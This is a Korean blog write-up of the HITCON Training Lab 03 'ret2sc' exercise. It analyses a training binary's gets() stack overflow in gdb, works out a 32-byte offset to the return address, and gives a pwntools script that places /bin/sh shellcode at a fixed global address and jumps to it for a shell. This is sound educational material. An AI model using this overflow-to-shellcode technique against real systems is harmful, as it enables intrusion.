Sqix

Hitcon Training - Lab 03 : Return to shellcode 본문

Wargame/HITCON Training

Hitcon Training - Lab 03 : Return to shellcode

Sqix_ow 2019. 9. 16. 21:02

ret2sc 파일 실행 및 checksec 결과

lab03 ret2sc 문제입니다. Return to shellcode 기법은 return address를 shellcode 시작 주소로 덮어주는 기법입니다. 

실행을 해 보니, Name: 를 통해서 이름을, Try your best: 를 통해서 문자열을 받아오고 프로그램이 종료됩니다. 

 

disas main

실행 파일을 gdb에 올려서 어셈블러 코드를 보도록 하겠습니다. 간략히 어셈을 해석해 보면

 

main(){

  char buf[48] //sub 0x30

  setvbuf(0x804a040, 0x0, 0x2, 0x0);

  printf(0x80485d0);

  read(0, 0x804a060, 0x32);

  printf(0x80485d6);

  gets(buf);

  return;

}

 

정도인것 같습니다. read에서 0x32를 받고, gets에서는 변수에 문자열을 받으니, 이를 이용해서 shellcode와 exploit code를 집어넣는다면 될 것 같네요.

 

문자열

setvbuf의 모드가 2니까 stdout은 line buffer로 받아지겠군요.

 

먼저 함수가 종료된 후 어디로 가는지 확인해 봅시다. esp의 stack 메모리는 ffffd5bc이고, 이 값을 확인해보면 0xf7e01e81라는 값이 나오네요. main이 종료되면 __libc_start_main으로 다시 돌아가는데, 돌아갈 위치의 주소가 저 주소인 듯 합니다.

 

이번엔 변수를 파악해야 할 것 같습니다. gets에 이용되는 버퍼인데, 우선 아까 sub 0x30으로 48바이트를 확보했으니, 그 공간 안에 있겠죠? 변수를 파악하는 이유는 변수의 위치를 알아내야 gets 함수를 이용해 return address까지의 거리를 알아내고 원하는 주소로 덮을 수 있기 때문입니다.

 

알아보기 쉽게 변수에 값을 넣고, esp에 gets의 return address를 확인해 보았습니다. 변수의 크기는 총 20byte이고, 변수의 address와 gets의 return address 사이의 차이는 0xffffd59c - 0xffffd5bc = 32입니다. 

 

즉 스택은 [ 변수 20bytes ] - [ dummy 8 bytes ] - [ SFP 4 bytes ] - [ RET 4 bytes ] 로 이루어져 있습니다.

 

그럼 우리는 A를 32개 주고, shellcode가 있는 주소에 BBBB를 넣은 후 확인하면 함수의 return address가 0x42424242로 덮일 것입니다.

 

 

이렇게 말이죠.

 

Return Address가 덮이는 것을 마지막으로 확인했습니다.

 

이제 Return to Shellcode 기법을 이용해서 exploit하기 위해 우리가 파악한 내용들을 정리해 봅시다.

 

1. 이 파일은 read(0, 0x804a060, 0x32)를 이용해서 0x804a060 주소에 50bytes의 문자열을 받아온다.

=> 0x804a060 주소에 쉘을 띄울 수 있는 shellcode를 올려 준다.

2. gets()함수를 통해 buf[20](buf는 가상의 변수명)에 input을 받아온다.

3. 스택은 [ 변수 20bytes ] - [ dummy 8 bytes ] - [ SFP 4 bytes ] - [ RET 4 bytes ] 로 이루어져 있다.

=> 변수, dummy, SFP를 덮고 그 이후에 shellcode의 주소(0x804a060)를 넣어 준다.

 

이 내용을 기반으로 exploit 코드를 작성하여 봅시다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
 
= process('./ret2sc')
ex = ''
ex += asm(shellcraft.i386.linux.sh())
 
p.recvuntil("Name:")
p.sendline(ex)
 
payload = 'A' * 32 + "\x60\xa0\x04\x08"
 
p.recvuntil("Try your best:")
p.sendline(payload)
 
p.interactive()
 
cs

 

 

실행을 하면 무난하게 쉘이 따집니다.

Comments